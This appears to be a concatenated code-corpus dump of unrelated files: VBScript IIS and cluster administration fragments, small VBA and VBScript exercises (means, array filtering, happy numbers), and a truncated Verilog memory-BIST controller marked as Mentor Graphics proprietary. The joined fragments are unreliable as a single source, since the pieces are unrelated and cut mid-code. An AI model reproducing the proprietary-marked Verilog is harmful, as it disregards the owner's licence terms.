' Replace all occurrences of \ with /
ObjectPath = Replace(ObjectPath, "\", "/")
' Remove leading and trailing slashes
If Left(ObjectPath, 1) = "/" Then
ObjectPath = Right(ObjectPath, Len(ObjectPath) - 1)
End If
If Right(ObjectPath, 1) = "/" Then
ObjectPath = Left(ObjectPath, Len(ObjectPath) - 1)
End If
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying To Sanitize the path: " & ObjectPath
WScript.Quit (Err.Number)
End If
End Sub
'''''''''''''''''''''''''''''
' AppCreateCommand
'''''''''''''''''''''''''''''
Function AppCreateCommand(InProcFlag)
On Error Resume Next
Dim IIsObject
Dim IIsObjectPath
Dim ObjectPath
Dim MachineName
AppCreateCommand = 0 ' Assume Success
If ArgCount <> 2 Then
WScript.Echo "Error: Wrong number of Args for the APPCREATE command"
WScript.Quit (GENERAL_FAILURE)
End If
ObjectPath = Args(1)
SanitizePath ObjectPath
MachineName = SeparateMachineName(ObjectPath)
IIsObjectPath = "IIS://" & MachineName
If ObjectPath <> "" Then
IIsObjectPath = IIsObjectPath & "/" & ObjectPath
End If
Set IIsObject = GetObject(IIsObjectPath)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to get the path of the application: " & ObjectPath
WScript.Quit (Err.Number)
End If
IIsObject.AppCreate2 (InProcFlag)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to create the application: " & ObjectPath
WScript.Quit (Err.Number)
End If
WScript.Echo "Application Created."
End Function
'''''''''''''''''''''''''''''
' AppDeleteCommand
'''''''''''''''''''''''''''''
Function AppDeleteCommand()
On Error Resume Next
Dim IIsObject
Dim IIsObjectPath
Dim ObjectPath
Dim MachineName
AppDeleteCommand = 0 ' Assume Success
If ArgCount <> 2 Then
WScript.Echo "Error: Wrong number of Args for the APPDELETE command"
WScript.Quit (GENERAL_FAILURE)
End If
ObjectPath = Args(1)
SanitizePath ObjectPath
MachineName = SeparateMachineName(ObjectPath)
IIsObjectPath = "IIS://" & MachineName
If ObjectPath <> "" Then
IIsObjectPath = IIsObjectPath & "/" & ObjectPath
End If
Set IIsObject = GetObject(IIsObjectPath)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to get the path of the application: " & ObjectPath
WScript.Quit (Err.Number)
End If
IIsObject.AppDelete
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to DELETE the application: " & ObjectPath
WScript.Quit (Err.Number)
End If
WScript.Echo "Application Deleted."
End Function
'''''''''''''''''''''''''''''
' AppUnloadCommand
'''''''''''''''''''''''''''''
Function AppUnloadCommand()
On Error Resume Next
Dim IIsObject
Dim IIsObjectPath
Dim ObjectPath
Dim MachineName
AppUnloadCommand = 0 ' Assume Success
If ArgCount <> 2 Then
WScript.Echo "Error: Wrong number of Args for the APPUNLOAD command"
WScript.Quit (GENERAL_FAILURE)
End If
ObjectPath = Args(1)
SanitizePath ObjectPath
MachineName = SeparateMachineName(ObjectPath)
IIsObjectPath = "IIS://" & MachineName
If ObjectPath <> "" Then
IIsObjectPath = IIsObjectPath & "/" & ObjectPath
End If
Set IIsObject = GetObject(IIsObjectPath)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to get the path of the application: " & ObjectPath
WScript.Quit (Err.Number)
End If
IIsObject.AppUnload
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to UNLOAD the application: " & ObjectPath
WScript.Quit (Err.Number)
End If
WScript.Echo "Application Unloaded."
End Function
Function AppDisableCommand()
On Error Resume Next
Dim IIsObject
Dim IIsObjectPath
Dim ObjectPath
Dim MachineName
AppDisableCommand = 0 ' Assume Success
If ArgCount <> 2 Then
WScript.Echo "Error: Wrong number of Args for the APPDISABLE command"
WScript.Quit (GENERAL_FAILURE)
End If
ObjectPath = Args(1)
SanitizePath ObjectPath
MachineName = SeparateMachineName(ObjectPath)
'debug
'WScript.Echo "Last Error: " & Err & " (" & Hex (Err) & "): " & Err.Description
IIsObjectPath = "IIS://" & MachineName
If ObjectPath <> "" Then
IIsObjectPath = IIsObjectPath & "/" & ObjectPath
End If
Set IIsObject = GetObject(IIsObjectPath)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to get the path of the application: " & ObjectPath
WScript.Quit (Err.Number)
End If
IIsObject.AppDisable
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to disable the application: " & ObjectPath
WScript.Quit (Err.Number)
End If
'debug
'WScript.Echo "Last Error: " & Err & " (" & Hex (Err) & "): " & Err.Description
WScript.Echo "Application Disabled."
End Function
Function AppEnableCommand()
On Error Resume Next
Dim IIsObject
Dim IIsObjectPath
Dim ObjectPath
Dim MachineName
AppEnableCommand = 0 ' Assume Success
If ArgCount <> 2 Then
WScript.Echo "Error: Wrong number of Args for the APPENABLE command"
WScript.Quit (GENERAL_FAILURE)
End If
ObjectPath = Args(1)
SanitizePath ObjectPath
MachineName = SeparateMachineName(ObjectPath)
'debug
'WScript.Echo "Last Error: " & Err & " (" & Hex (Err) & "): " & Err.Description
IIsObjectPath = "IIS://" & MachineName
If ObjectPath <> "" Then
IIsObjectPath = IIsObjectPath & "/" & ObjectPath
End If
Set IIsObject = GetObject(IIsObjectPath)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to get the path of the application: " & ObjectPath
WScript.Quit (Err.Number)
End If
IIsObject.AppEnable
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to Enable the application: " & ObjectPath
WScript.Quit (Err.Number)
End If
'debug
'WScript.Echo "Last Error: " & Err & " (" & Hex (Err) & "): " & Err.Description
WScript.Echo "Application Enabled."
End Function
'''''''''''''''''''''''''''''
' AppGetStatusCommand
'''''''''''''''''''''''''''''
Function AppGetStatusCommand()
On Error Resume Next
Dim IIsObject
Dim IIsObjectPath
Dim ObjectPath
Dim MachineName
Dim Status
AppGetStatusCommand = 0 ' Assume Success
If ArgCount <> 2 Then
WScript.Echo "Error: Wrong number of Args for the APPGETSTATUS command"
WScript.Quit (GENERAL_FAILURE)
End If
ObjectPath = Args(1)
SanitizePath ObjectPath
MachineName = SeparateMachineName(ObjectPath)
IIsObjectPath = "IIS://" & MachineName
If ObjectPath <> "" Then
IIsObjectPath = IIsObjectPath & "/" & ObjectPath
End If
Set IIsObject = GetObject(IIsObjectPath)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to get the path of the application: " & ObjectPath
WScript.Quit (Err.Number)
End If
Status = IIsObject.AppGetStatus2
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to retrieve the application STATUS: " & ObjectPath
WScript.Quit (Err.Number)
End If
WScript.Echo "Application Status: " & Status
End Function
''''''''''''''''''''''''''
'
' IsSecureProperty
'
' Checks to see if the property requires special processing in order to
' display its contents.
'
''''''''''''''''''''''''''
Function IsSecureProperty(ObjectParameter,MachineName)
On Error Resume Next
Dim PropObj,Attribute
Set PropObj = GetObject("IIS://" & MachineName & "/schema/" & ObjectParameter)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to get the property: " & err.number
WScript.Quit (Err.Number)
End If
Attribute = PropObj.Secure
If (Attribute = True) Then
IsSecureProperty = True
Else
IsSecureProperty = False
End If
End Function
|
<gh_stars>1-10
Private Function arithmetic_mean(s() As Variant) As Double
arithmetic_mean = WorksheetFunction.Average(s)
End Function
Private Function geometric_mean(s() As Variant) As Double
geometric_mean = WorksheetFunction.GeoMean(s)
End Function
Private Function harmonic_mean(s() As Variant) As Double
harmonic_mean = WorksheetFunction.HarMean(s)
End Function
Public Sub pythagorean_means()
Dim s() As Variant
s = [{1, 2, 3, 4, 5, 6, 7, 8, 9, 10}]
Debug.Print "A ="; arithmetic_mean(s)
Debug.Print "G ="; geometric_mean(s)
Debug.Print "H ="; harmonic_mean(s)
End Sub
|
test_arr_1 = Array(1,2,3,4,5,6,7,8,9,10)
test_arr_2 = Array(1,2,3,4,5,6,7,8,9,10)
WScript.StdOut.Write "Scenario 1: Create a new array"
WScript.StdOut.WriteLine
WScript.StdOut.Write "Input: " & Join(test_arr_1,",")
WScript.StdOut.WriteLine
WScript.StdOut.Write "Output: " & filter_create(test_arr_1)
WScript.StdOut.WriteBlankLines(2)
WScript.StdOut.Write "Scenario 2: Destructive approach"
WScript.StdOut.WriteLine
WScript.StdOut.Write "Input: " & Join(test_arr_2,",")
WScript.StdOut.WriteLine
WScript.StdOut.Write "Output: " & filter_destruct(test_arr_2)
WScript.StdOut.WriteBlankLines(2)
Function filter_create(arr)
ReDim arr_new(0)
For i = 0 To UBound(arr)
If arr(i) Mod 2 = 0 Then
If arr_new(0) = "" Then
arr_new(0) = arr(i)
Else
ReDim Preserve arr_new(UBound(arr_new)+1)
arr_new(UBound(arr_new)) = arr(i)
End If
End If
Next
filter_create = Join(arr_new,",")
End Function
Function filter_destruct(arr)
count = 0
For i = 0 To UBound(arr)
If arr(i) Mod 2 <> 0 Then
count = count + 1
For j = i To UBound(arr)
If j + 1 <= UBound(arr) Then
arr(j) = arr(j+1)
End If
Next
End If
Next
ReDim Preserve arr(UBound(arr)-count)
filter_destruct = Join(arr,",")
End Function
|
<filename>base/cluster/admin/msclus/vbscript/version.vbs
Option Explicit
Main
Sub Main
Dim oCluster
Dim oVersion
Dim oClusApp
Dim sCluster
Set oCluster = CreateObject("MSCluster.Cluster")
Set oClusApp = CreateObject("MSCluster.ClusApplication")
sCluster = InputBox( "Cluster to open?" )
oCluster.Open( sCluster )
'MsgBox oCluster.Name
Set oVersion = oCluster.Version
MsgBox "Cluster name is: " & oVersion.Name
MsgBox "Build number is: " & oVersion.BuildNumber
MsgBox "Cluster CSDVersion is: '" & oVersion.CSDVersion & "'"
MsgBox "Vendor id is: '" & oVersion.VendorId & "'"
End Sub
|
start_time = Now
cnt = 0
For i = 1 To 100000000
n = i
sum = 0
Do Until n = 1 Or n = 89
For j = 1 To Len(n)
sum = sum + (CLng(Mid(n,j,1))^2)
Next
n = sum
sum = 0
Loop
If n = 89 Then
cnt = cnt + 1
End If
Next
end_time = Now
WScript.Echo "Elapse Time: " & DateDiff("s",start_time,end_time) &_
vbCrLf & "Count: " & cnt
|
Option Explicit
Sub Main_Create_Array()
Dim NbColumns As Integer, NbRows As Integer
'Get two integers from the user,
Do
NbColumns = Application.InputBox("Enter number of columns : ", "Numeric only", 3, Type:=1)
NbRows = Application.InputBox("Enter number of rows : ", "Numeric only", 5, Type:=1)
Loop While NbColumns = 0 Or NbRows = 0
'Create a two-dimensional array at runtime
ReDim myArray(1 To NbRows, 1 To NbColumns)
'Write some element of that array,
myArray(LBound(myArray, 1), UBound(myArray, 2)) = "Toto"
'and then output that element.
MsgBox myArray(LBound(myArray, 1), UBound(myArray, 2))
'destroy the array
Erase myArray
End Sub
|
/*
----------------------------------------------------------------------------------
- -
- Copyright Mentor Graphics Corporation -
- All Rights Reserved -
- -
- THIS WORK CONTAINS TRADE SECRET AND PROPRIETARY -
- INFORMATION WHICH IS THE PROPERTY OF MENTOR GRAPHICS -
- CORPORATION OR ITS LICENSORS AND IS SUBJECT -
- TO LICENSE TERMS. -
- -
----------------------------------------------------------------------------------
- File created by: membistipGenerate -
- Version: 2017.1 -
- Created on: Fri Feb 1 13:48:29 CST 2019 -
----------------------------------------------------------------------------------
*/
/*------------------------------------------------------------------------------
Module : SMARCHCHKB_LVISION_MBISTPG_CTRL
Description : Microprogrammable BIST Controller
--------------------------------------------------------------------------------
Language : Verilog
Controller Type : HardProgrammable
-------------------------------------------------------- (c) Mentor Graphics */
module SMARCHCHKB_LVISION_MBISTPG_CTRL (
BIST_COL_ADD , // column address
BIST_ROW_ADD , // row address
BIST_WRITE_DATA , // write data
BIST_EXPECT_DATA , // expect data
BIST_SHIFT_COLLAR , // internal scan chain shift enable to Memory collar
BIST_SELECT ,
BIST_OUTPUTENABLE ,
BIST_WRITEENABLE ,
BIST_CMP ,
BIST_COLLAR_SETUP ,
BIST_COLLAR_HOLD ,
FL_CNT_MODE ,
BIST_CLEAR_DEFAULT ,
BIST_CLEAR ,
BIST_DATA_FROM_MEM0 , // Memory data for step 0
MBISTPG_DIAG_EN , // Diagnostic mode enable
MBISTPG_CMP_STAT_ID_SEL , // Controller comparator select
BIST_CLK ,
BIST_SI , // toIscan wire from TAP
MBISTPG_SO , // fromBist wire to TAP
BIST_SHIFT , // shiftBist wire from TAP
BIST_HOLD , // holdBist wire from TAP
BIST_SETUP2 , // setupMode wires from TAP
BIST_SETUP , // setupMode wires from TAP
TCK_MODE , // tckMode wire from TAP
TCK , // tck wire from TAP
MBISTPG_TESTDATA_SELECT ,
BIST_ON_TO_COLLAR ,
LV_TM , // testMode wire from Tap
MBISTPG_MEM_RST ,
MBISTPG_REDUCED_ADDR_CNT_EN ,
MBISTPG_ALGO_MODE ,
MBISTPG_ASYNC_RESETN , // Asynchronous reset enable (active low)
BIST_COLLAR_EN0 , // Enable for interface MEM0
CHKBCI_PHASE ,
MBISTPG_RESET_REG_SETUP2 ,
MBISTPG_EN , // bistEn wire from TAP
MBISTPG_GO , // Status bit indicating BIST is Pass when high and DONE is High
MBISTPG_DONE // Status bit indicating BIST is done when high
);
output MBISTPG_RESET_REG_SETUP2;
reg ALGO_SEL_CNT_REG;
wire ALGO_SEL_CNT_RST;
wire ALGO_SEL_CNT_SI;
wire ALGO_SEL_CNT_SO;
reg SELECT_COMMON_OPSET_REG;
wire SELECT_COMMON_OPSET_RST;
wire SELECT_COMMON_OPSET_SI;
wire SELECT_COMMON_OPSET_SO;
reg SELECT_COMMON_DATA_PAT_REG;
wire SELECT_COMMON_DATA_PAT_RST;
wire SELECT_COMMON_DATA_PAT_SI;
wire SELECT_COMMON_DATA_PAT_SO;
reg MICROCODE_EN_REG;
wire MICROCODE_EN_RST;
wire MICROCODE_EN_SI;
wire MICROCODE_EN_SO;
wire STEP_ALGO_SELECT;
input [1:0] MBISTPG_ALGO_MODE;
wire [1:0] MBISTPG_ALGO_MODE_SYNC;
wire [1:0] MBISTPG_ALGO_MODE_INT;
reg [1:0] ALGO_MODE_REG;
wire ALGO_MODE_SI;
wire ALGO_MODE_SO;
wire PAUSETOEND_ALGO_MODE;
input MBISTPG_MEM_RST;
wire MBISTPG_MEM_RST_SYNC;
input MBISTPG_REDUCED_ADDR_CNT_EN;
wire MBISTPG_REDUCED_ADDR_CNT_EN_SYNC;
wire MBISTPG_REDUCED_ADDR_CNT_EN_INT;
reg REDUCED_ADDR_CNT_EN_REG;
wire REDUCED_ADDR_CNT_EN_SI;
wire REDUCED_ADDR_CNT_EN_SO;
wire INIT_SIGNAL_GEN_REGS;
wire INIT_DATA_GEN_REGS;
output [2:0] BIST_COL_ADD;
output [9:0] BIST_ROW_ADD;
output [1:0] BIST_WRITE_DATA;
output [1:0] BIST_EXPECT_DATA;
output BIST_SHIFT_COLLAR;
output BIST_COLLAR_SETUP;
output BIST_COLLAR_HOLD;
input [1:0] FL_CNT_MODE;
output BIST_CLEAR_DEFAULT;
output BIST_CLEAR;
input [31:0] BIST_DATA_FROM_MEM0;
input MBISTPG_DIAG_EN;
wire FREEZE_GO_ID;
input [5:0] MBISTPG_CMP_STAT_ID_SEL;
wire [5:0] MBISTPG_CMP_STAT_ID_SEL_SYNC;
reg [5:0] CMP_ID_SEL_R;
wire CMP_ID_SEL_SI;
wire CMP_ID_SEL_SO;
input BIST_CLK;
wire BIST_CLK_INT;
input BIST_SI;
output MBISTPG_SO;
input BIST_SHIFT;
wire BIST_SHIFT_INT;
input BIST_HOLD;
wire BIST_HOLD_INT;
input BIST_SETUP2;
input [1:0] BIST_SETUP;
wire [2:0] BIST_SETUP_INT2;
input MBISTPG_TESTDATA_SELECT;
input TCK_MODE;
wire TCK_MODE_INT;
input TCK;
input MBISTPG_EN;
wire MBISTPG_EN_INT;
input MBISTPG_ASYNC_RESETN;
input LV_TM;
output BIST_SELECT;
output BIST_OUTPUTENABLE;
output BIST_WRITEENABLE;
output BIST_CMP;
wire BIST_CMP_INT;
wire BIST_CMP_FROM_SIGNAL_GEN;
output BIST_COLLAR_EN0;
wire BIST_COLLAR_EN0_PRE;
wire BIST_COLLAR_EN0_INT;
output CHKBCI_PHASE;
output MBISTPG_GO;
output MBISTPG_DONE;
wire [31:0] MBISTPG_GO_ID_INT;
wire POINTER_CNTRL_SI;
wire POINTER_CNTRL_SO;
wire ADD_GEN_SI;
wire ADD_GEN_SO;
wire SIGNAL_GEN_SI;
wire SIGNAL_GEN_SO;
wire REPEAT_LOOP_CNTRL_SI;
wire REPEAT_LOOP_CNTRL_SO;
wire DATA_GEN_SI;
wire DATA_GEN_SO;
wire COUNTERA_SI;
wire COUNTERA_SO;
wire CTRL_GO;
wire MBISTPG_GO_INT;
wire BIST_SI_SYNC;
wire TCK_PULSE;
wire BIST_SHIFT_SYNC;
wire BIST_SHIFT_LONG;
wire BIST_SHIFT_SHORT;
wire [2:0] BIST_SETUP_INT;
wire [2:0] BIST_SETUP_SYNC;
wire MBISTPG_TESTDATA_SELECT_INT;
wire SHORT_SETUP_SYNC;
reg TO_COLLAR_SI;
wire TO_COLLAR_SI_MUX_INPUT0;
wire TO_COLLAR_SI_MUX_INPUT1;
wire BIST_HOLD_R;
wire BIST_HOLD_R_INT;
wire LAST_STATE_DONE;
wire GO_ID_FEEDBACK_EN;
output BIST_ON_TO_COLLAR;
wire BIST_ON;
wire BIST_DONE;
wire BIST_IDLE;
wire LAST_TICK;
wire LAST_STATE;
wire NEXT_ALGO;
wire SETUP_PULSE1;
wire SETUP_PULSE2;
wire [2:0] OP_SELECT_CMD;
wire [1:0] A_EQUALS_B_INVERT_DATA;
wire [2:0] ADD_Y1_CMD;
wire [2:0] ADD_X1_CMD;
wire [2:0] ADD_REG_SELECT;
wire [3:0] WDATA_CMD;
wire [3:0] EDATA_CMD;
wire [1:0] LOOP_CMD;
wire COUNTERA_CMD;
wire INH_LAST_ADDR_CNT;
wire INH_DATA_CMP;
wire [2:0] ADD_Y1_CMD_MODIFIED;
wire [2:0] ADD_X1_CMD_MODIFIED;
wire [3:0] WDATA_CMD_MODIFIED;
wire [3:0] EDATA_CMD_MODIFIED;
wire INH_LAST_ADDR_CNT_MODIFIED;
wire INH_LAST_ADDR_CNT_MODIFIED_INT;
wire INH_DATA_CMP_MODIFIED;
wire LOOP_STATE_TRUE;
wire [4:0] LOOP_POINTER;
wire [9:0] ROW_ADDRESS;
wire [2:0] COLUMN_ADDRESS;
wire [9:0] X_ADDRESS;
wire [2:0] Y_ADDRESS;
wire [1:0] WRITE_DATA;
wire [1:0] EXPECT_DATA;
wire A_EQUALS_B_TRIGGER;
wire Y1_MINMAX_TRIGGER;
wire Y1_MINMAX_TRIGGER_OUT;
wire X1_MINMAX_TRIGGER;
wire X1_MINMAX_TRIGGER_OUT;
wire COUNTERA_ENDCOUNT_TRIGGER;
wire COUNTERA_ENDCOUNT_TRIGGER_INT;
wire LOOPCOUNTMAX_TRIGGER;
wire LOOPCOUNTMAX_TRIGGER_INT;
wire BIST_INIT;
wire RESET_REG_SETUP1;
wire RESET_REG_SETUP2;
wire BIST_RUN;
wire BIST_RUN_INT;
wire BIST_RUN_PIPE;
wire DEFAULT_MODE;
wire RESET_REG_DEFAULT_MODE;
wire CLEAR_DEFAULT;
wire CLEAR;
wire BIST_DIAG_EN;
wire ESOE_RESET;
wire FL_CNT_MODE0_SYNC;
wire BIST_IDLE_PULSE;
wire MBISTPG_DIAG_EN_GATED;
wire MBISTPG_DIAG_EN_SYNC;
reg DIAG_EN_R;
wire DIAG_EN_SI;
wire DIAG_EN_SO;
wire MONITOR_CMP_STAT;
reg GO_EN;
wire CTL_COMP_SI;
wire CTL_COMP_SO;
wire HOLD_EN;
wire BIST_STOP_ON_ERROR_EN_INT;
assign BIST_ON_TO_COLLAR = BIST_ON;
//----------------------------------
//----- Controller Main Code -----
//----------------------------------
assign BIST_CLK_INT = BIST_CLK;
assign MBISTPG_MEM_RST_SYNC = MBISTPG_MEM_RST & BIST_ON;
assign FL_CNT_MODE0_SYNC = FL_CNT_MODE[0] & BIST_ON;
assign INIT_SIGNAL_GEN_REGS = ~(SELECT_COMMON_OPSET_REG);
assign INIT_DATA_GEN_REGS = ~(SELECT_COMMON_DATA_PAT_REG);
assign RESET_REG_SETUP1 = SETUP_PULSE1;
assign RESET_REG_SETUP2 = SETUP_PULSE2;
assign RESET_REG_DEFAULT_MODE = (SETUP_PULSE1 & (DEFAULT_MODE | ~MICROCODE_EN_REG));
assign CLEAR_DEFAULT = (BIST_INIT & DEFAULT_MODE & ~GO_EN);
assign CLEAR = (BIST_INIT & ~GO_EN);
assign BIST_CLEAR_DEFAULT = CLEAR_DEFAULT & ~MBISTPG_ALGO_MODE_INT[1];
assign BIST_CLEAR = CLEAR & ~MBISTPG_ALGO_MODE_INT[1];
assign BIST_COL_ADD = COLUMN_ADDRESS;
assign BIST_ROW_ADD = ROW_ADDRESS;
assign BIST_WRITE_DATA = WRITE_DATA;
assign BIST_EXPECT_DATA = EXPECT_DATA;
assign BIST_SHIFT_COLLAR = BIST_SHIFT_SHORT;
assign MONITOR_CMP_STAT = MBISTPG_EN & BIST_SHIFT & MBISTPG_DIAG_EN;
assign BIST_COLLAR_SETUP = MONITOR_CMP_STAT | (SETUP_PULSE1 & ~BIST_HOLD_R_INT);
assign MBISTPG_CMP_STAT_ID_SEL_SYNC[0] = MBISTPG_CMP_STAT_ID_SEL[0] & BIST_ON;
assign MBISTPG_CMP_STAT_ID_SEL_SYNC[1] = MBISTPG_CMP_STAT_ID_SEL[1] & BIST_ON;
assign MBISTPG_CMP_STAT_ID_SEL_SYNC[2] = MBISTPG_CMP_STAT_ID_SEL[2] & BIST_ON;
assign MBISTPG_CMP_STAT_ID_SEL_SYNC[3] = MBISTPG_CMP_STAT_ID_SEL[3] & BIST_ON;
assign MBISTPG_CMP_STAT_ID_SEL_SYNC[4] = MBISTPG_CMP_STAT_ID_SEL[4] & BIST_ON;
assign MBISTPG_CMP_STAT_ID_SEL_SYNC[5] = MBISTPG_CMP_STAT_ID_SEL[5] & BIST_ON;
//----------------------
//-- Collar BIST_HOLD --
//----------------------
assign BIST_COLLAR_HOLD = BIST_HOLD_R | HOLD_EN;
//--------------------------
//-- Controller BIST_HOLD --
//--------------------------
assign BIST_HOLD_R_INT = BIST_HOLD_R | HOLD_EN;
assign BIST_SI_SYNC = BIST_SI | LV_TM & BIST_SHIFT_SYNC;
assign BIST_SETUP_INT2 = {BIST_SETUP2, BIST_SETUP[1:0]};
assign BIST_SETUP_INT = {BIST_SETUP_INT2[2] & ~LV_TM, BIST_SETUP_INT2[1] & ~LV_TM, BIST_SETUP_INT2[0] & ~LV_TM};
assign BIST_SETUP_SYNC[0] = BIST_SETUP_INT[0] & BIST_ON;
assign BIST_SETUP_SYNC[1] = BIST_ON;
assign BIST_SETUP_SYNC[2] = BIST_SETUP_INT[2] & BIST_ON;
assign SHORT_SETUP_SYNC = ~BIST_SETUP_INT[2] & ~BIST_SETUP_INT[1] & ~BIST_SETUP_INT[0] & BIST_SHIFT_SYNC;
assign MBISTPG_DONE = BIST_DONE;
assign MBISTPG_RESET_REG_SETUP2 = RESET_REG_SETUP2;
assign TCK_MODE_INT = TCK_MODE;
assign BIST_SHIFT_INT = BIST_SHIFT;
assign MBISTPG_EN_INT = MBISTPG_EN;
//-------------------
//-- Collar Enable --
//-------------------
assign BIST_COLLAR_EN0 = BIST_COLLAR_EN0_INT; // Memory ID: MEM0
assign BIST_COLLAR_EN0_INT = BIST_COLLAR_EN0_PRE;
assign BIST_COLLAR_EN0_PRE = BIST_ON ;
SMARCHCHKB_LVISION_MBISTPG_ASYNC_INTERF MBISTPG_ASYNC_INTERF (
.BIST_CLK ( BIST_CLK_INT ),
.BIST_EN (MBISTPG_EN_INT ),
.BIST_ASYNC_RESETN (MBISTPG_ASYNC_RESETN ),
.BIST_SHIFT (BIST_SHIFT_INT ),
.TM (LV_TM ),
.BIST_SETUP (BIST_SETUP_INT[1:0] ),
.TCK_MODE (TCK_MODE_INT ),
.TCK (TCK ),
.TCK_PULSE (TCK_PULSE ),
.BIST_SHIFT_SYNC (BIST_SHIFT_SYNC ),
.BIST_SHIFT_LONG (BIST_SHIFT_LONG ),
.BIST_SHIFT_SHORT (BIST_SHIFT_SHORT )
);
assign BIST_HOLD_INT = BIST_HOLD;
SMARCHCHKB_LVISION_MBISTPG_OPTION MBISTPG_OPTION (
.BIST_CLK ( BIST_CLK_INT ),
.BIST_EN (MBISTPG_EN_INT ),
.BIST_HOLD (BIST_HOLD_INT ),
.BIST_SETUP (BIST_SETUP_INT[1:0] ),
.TCK_MODE (TCK_MODE_INT ),
.BIST_ASYNC_RESETN (MBISTPG_ASYNC_RESETN ),
.LV_TM (LV_TM ),
.GO (MBISTPG_GO_INT ),
.DEFAULT_MODE (DEFAULT_MODE ),
.BIST_ON (BIST_ON ),
.BIST_HOLD_R (BIST_HOLD_R )
);
assign NEXT_ALGO = 1'b0;
SMARCHCHKB_LVISION_MBISTPG_FSM MBISTPG_FSM (
.BIST_CLK (BIST_CLK_INT ),
.BIST_ON (BIST_ON ),
.BIST_HOLD_R (BIST_HOLD_R ),
.NEXT_ALGO (NEXT_ALGO ),
.BIST_ASYNC_RESETN (MBISTPG_ASYNC_RESETN ),
.PAUSETOEND_ALGO_MODE (PAUSETOEND_ALGO_MODE ),
.LAST_STATE_DONE (LAST_STATE_DONE ),
.SETUP_PULSE1 (SETUP_PULSE1 ),
.SETUP_PULSE2 (SETUP_PULSE2 ),
.BIST_RUN (BIST_RUN_INT ),
.BIST_RUN_PIPE (BIST_RUN_PIPE ),
.BIST_INIT (BIST_INIT ),
.BIST_DONE (BIST_DONE ),
.BIST_IDLE_PULSE (BIST_IDLE_PULSE ),
.BIST_IDLE (BIST_IDLE )
);
assign BIST_RUN = BIST_RUN_INT;
//----------------
// DIAGNOSIS MODE
//----------------
assign MBISTPG_DIAG_EN_GATED = MBISTPG_DIAG_EN & BIST_ON;
assign MBISTPG_DIAG_EN_SYNC = MBISTPG_DIAG_EN_GATED;
assign DIAG_EN_SI = BIST_SI_SYNC;
// synopsys async_set_reset "MBISTPG_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge MBISTPG_ASYNC_RESETN) begin
if (~MBISTPG_ASYNC_RESETN)
DIAG_EN_R <= 1'b0;
else
if (BIST_SHIFT_SHORT) begin
DIAG_EN_R <= DIAG_EN_SI;
end else begin
if (~BIST_HOLD_R_INT & CLEAR_DEFAULT) begin
DIAG_EN_R <= MBISTPG_DIAG_EN_SYNC & ~LV_TM;
end
end
end
assign DIAG_EN_SO = DIAG_EN_R;
assign BIST_DIAG_EN = DIAG_EN_R & ~MONITOR_CMP_STAT;
//-----------------------------
// Controller Comparator Select
//-----------------------------
assign CMP_ID_SEL_SI = DIAG_EN_SO;
// synopsys async_set_reset "MBISTPG_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge MBISTPG_ASYNC_RESETN) begin
if (~MBISTPG_ASYNC_RESETN)
CMP_ID_SEL_R <= 6'd0;
else
if (BIST_SHIFT_SHORT) begin
CMP_ID_SEL_R <= {CMP_ID_SEL_R[4:0], CMP_ID_SEL_SI};
end else begin
if (~BIST_HOLD_R_INT & CLEAR_DEFAULT) begin
CMP_ID_SEL_R <= MBISTPG_CMP_STAT_ID_SEL_SYNC;
end
end
end
assign CMP_ID_SEL_SO = CMP_ID_SEL_R[5];
wire CMP_EN;
wire CMP_EN_IN;
assign CMP_EN_IN = BIST_CMP;
reg CMP_EN_MASK_EN,CMP_EN_MASK;
wire CMP_EN_INT;
// synopsys async_set_reset "MBISTPG_ASYNC_RESETN"
always @(posedge BIST_CLK_INT or negedge MBISTPG_ASYNC_RESETN) begin
if ( ~MBISTPG_ASYNC_RESETN ) begin
CMP_EN_MASK_EN <= 1'b0;
CMP_EN_MASK <= 1'b0;
end else
if ( BIST_SHIFT_SHORT ) begin
CMP_EN_MASK_EN <= CMP_ID_SEL_SO;
CMP_EN_MASK <= CMP_EN_MASK_EN;
end else begin
if ( CLEAR_DEFAULT ) begin
CMP_EN_MASK_EN <= 1'b0;
CMP_EN_MASK <= 1'b0;
end else begin
if ( ~BIST_HOLD_R_INT & GO_EN ) begin
CMP_EN_MASK <= ~CMP_EN_MASK;
end
end
end
end
assign CMP_EN_INT = CMP_EN_IN;
reg CMP_EN_R;
// synopsys async_set_reset "MBISTPG_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge MBISTPG_ASYNC_RESETN) begin
if (~MBISTPG_ASYNC_RESETN) begin
CMP_EN_R <= 1'b0;
end else begin
CMP_EN_R <= ~FREEZE_GO_ID & ~HOLD_EN;
end
end
assign BIST_CMP = BIST_CMP_INT;
assign BIST_CMP_INT = BIST_CMP_FROM_SIGNAL_GEN & ~BIST_HOLD_R_INT & ~INH_DATA_CMP_MODIFIED & (~CMP_EN_MASK_EN | CMP_EN_MASK);
assign CMP_EN = CMP_EN_INT;
//------------------------
// REDUCED ADDRESS COUNT
//------------------------
assign MBISTPG_REDUCED_ADDR_CNT_EN_SYNC = MBISTPG_REDUCED_ADDR_CNT_EN & BIST_ON;
assign REDUCED_ADDR_CNT_EN_SI = CMP_EN_MASK;
// synopsys async_set_reset "MBISTPG_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge MBISTPG_ASYNC_RESETN) begin
if (~MBISTPG_ASYNC_RESETN)
REDUCED_ADDR_CNT_EN_REG <= 1'b0;
else
if (BIST_SHIFT_SHORT) begin
REDUCED_ADDR_CNT_EN_REG <= REDUCED_ADDR_CNT_EN_SI;
end else begin
if (~BIST_HOLD_R_INT & CLEAR_DEFAULT) begin
